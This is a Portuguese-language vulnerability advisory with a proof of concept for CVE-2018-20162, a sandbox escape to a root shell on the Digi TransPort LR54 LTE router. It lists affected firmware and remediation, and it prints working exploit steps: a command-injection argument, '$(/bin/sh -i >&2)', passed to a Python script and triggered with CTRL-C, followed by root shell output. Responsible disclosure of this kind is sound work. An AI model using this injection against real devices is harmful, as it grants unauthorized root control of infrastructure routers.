
Exploit de prova de conceito para CVE-2018-20162: escape de sandbox no roteador LTE Digi TransPort LR54 através de falha no tratamento de SIGINT, concedendo acesso ao shell root.
O Digi TransPort LR54 é um roteador LTE de alta velocidade comumente usado pela indústria, infraestrutura, varejo e transporte público.
Ele suporta a execução de scripts python em um sandbox restrito, e possui um shell personalizado acessível via SSH que está sujeito às mesmas restrições. O SO subjacente é, portanto, inacessível ao administrador.
Encontrei uma maneira de escapar do sandbox e obter um shell root explorando a forma como o CLI lida com argumentos de linha de comando ao executar scripts python:
Quando um processo python interativo recebe um SIGINT (através de CTRL-C), os argumentos para o script não são devidamente escapados quando passados para o manipulador de logging de erros do CLI interativo. Isso permite que um atacante execute comandos arbitrários como root.
Para explorar essa vulnerabilidade, um atacante precisa ter acesso CLI interativo com privilégios 'super'. Um usuário com esse nível de acesso é habilitado por padrão no dispositivo.
Digi Transport LR54 (e talvez produtos relacionados como WR64 e WR54)
Firmware Version : 4.4.0.26 10/29/2018 21:14:06 Firmware Version : 4.3.2.24 09/06/2018 00:58:34
E talvez versões anteriores
Os usuários devem atualizar para a versão de firmware 4.5.1.4 ou mais recente. Segredos armazenados no dispositivo, como chaves privadas e frases secretas, devem ser alterados como precaução.
sleep.py para o LR54 usando scp ou sftp, contendo:import time;time.sleep(10)
python sleep.py --XXX $(/bin/sh -i >&2)
Pressione imediatamente CTRL-C após o programa iniciar
Você é então levado a um shell root interativo
/home/digi/user # uname -a
Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux
/home/digi/user # id
uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super)
Vulnerabilidade descoberta por Stig Palmquist.
Obrigado a @duniel_pls e @alexanderkjall por revisarem este relatório.